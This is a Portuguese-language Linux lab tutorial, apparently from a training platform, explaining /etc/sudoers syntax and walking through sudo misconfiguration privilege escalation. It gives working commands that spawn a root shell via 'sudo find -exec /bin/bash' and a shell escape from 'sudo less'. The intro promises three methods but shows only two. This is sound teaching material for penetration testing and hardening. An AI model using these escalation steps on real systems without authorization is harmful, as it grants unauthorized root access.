Introdução
Neste laboratório, você aprenderá sobre a sintaxe do arquivo de configuração do sudo e praticará três métodos comuns para escalar privilégios através de vulnerabilidades ou configurações incorretas do sudo. O objetivo é obter uma melhor compreensão de como aproveitar o sudo para a escalada de privilégios durante um teste de penetração.
Sintaxe do Arquivo de Configuração Sudo
Nesta etapa, você aprenderá sobre a sintaxe do arquivo /etc/sudoers, que é usado para configurar os privilégios do sudo.
O arquivo /etc/sudoers é usado para especificar quais usuários ou grupos podem executar comandos com privilégios elevados. Para visualizar e salvar o conteúdo do arquivo /etc/sudoers, execute o seguinte comando:
sudo cat /etc/sudoers | grep root > /home/labex/project/sudoers.txt
A saída deve ser semelhante à seguinte:
## This file MUST be edited with the 'visudo' command as root.
## This preserves proxy settings from user environments of root
## While you shouldn't normally run git as root, you need to with etckeeper
## Per-user preferences; root won't have sensible values for them.
root ALL=(ALL:ALL) ALL
## Members of the admin group may gain root privileges
Esta linha especifica que o usuário root pode executar qualquer comando como qualquer usuário ou grupo em todos os hosts.
A sintaxe geral para uma entrada sudoers é:
user_or_group_name host_list=(run_as_user:run_as_group) command_list
user_or_group_name: O usuário ou grupo ao qual a regra se aplica.host_list: O(s) host(s) em que a regra se aplica. O valorALLsignifica todos os hosts.run_as_user: O usuário cujos privilégios são usados para executar o comando. O valorALLsignifica qualquer usuário.run_as_group: O grupo cujos privilégios são usados para executar o comando. O valorALLsignifica qualquer grupo.command_list: O(s) comando(s) que o usuário ou grupo tem permissão para executar.
Sudo Permite Escalada de Privilégios Sem Restrições de Argumentos
Nesta etapa, você praticará a escalada de privilégios aproveitando configurações incorretas do sudo que permitem a execução de qualquer comando com privilégios elevados.
Primeiro, abra um terminal e navegue até o diretório
/home/labex/project.cd /home/labex/projectInicialize o ambiente executando o seguinte comando:
./env_setup_1.shAgora você está logado como o usuário
user001.Use o comando
sudo -lpara verificar seus privilégios dosudo:sudo -l(root) NOPASSWD:/usr/bin/findIsso significa que você pode executar o comando
findcom privilégios derootsem uma senha.Para escalar privilégios, execute:
sudo find /home -exec /bin/bash \;Você agora deve ter um shell
root.Crie um arquivo chamado
success_1.txtno diretório/rootpara verificar se você tem privilégios deroot:echo "success_1" | sudo tee /root/success_1.txtVerifique o arquivo executando:
cat /root/success_1.txtA saída deve ser
success_1.
Sudo Permite Escalada de Privilégios com Argumentos de Comando Específicos
Nesta etapa, você praticará a escalada de privilégios aproveitando configurações incorretas do sudo que permitem a execução de comandos específicos com privilégios elevados.
Após a etapa anterior, você ainda está logado como o usuário root. Para a continuação desta etapa, você precisa fechar o terminal atual e abrir um novo terminal.
Primeiro, abra um terminal e navegue até o diretório
/home/labex/project.cd /home/labex/projectInicialize o ambiente executando o seguinte comando:
./env_setup_2.shVerifique seus privilégios do
sudocomsudo -l:sudo -lSaída esperada:
(root) NOPASSWD: /bin/less /var/log/messagesIsso significa que você pode executar o comando
/bin/less /var/log/messagescom privilégios derootsem uma senha.Para escalar privilégios, execute:
sudo less /var/log/messagesUma vez dentro do pager
less, execute:!/bin/bashVocê agora deve ter um shell
root.Crie um arquivo chamado
success_2.txtno diretório/rootpara verificar se você tem privilégios deroot:echo "success_2" | sudo tee /root/success_2.txtVerifique o arquivo executando:
cat /root/success_2.txtA saída deve ser
success_2.
Resumo
Neste laboratório, você aprendeu sobre a sintaxe do arquivo /etc/sudoers e como configurar os privilégios do sudo. Você também praticou três métodos comuns para escalar privilégios por meio de configurações incorretas ou vulnerabilidades do sudo. Ao entender como alavancar o sudo para a escalada de privilégios, você pode avaliar e mitigar melhor os riscos potenciais de segurança em sistemas Linux.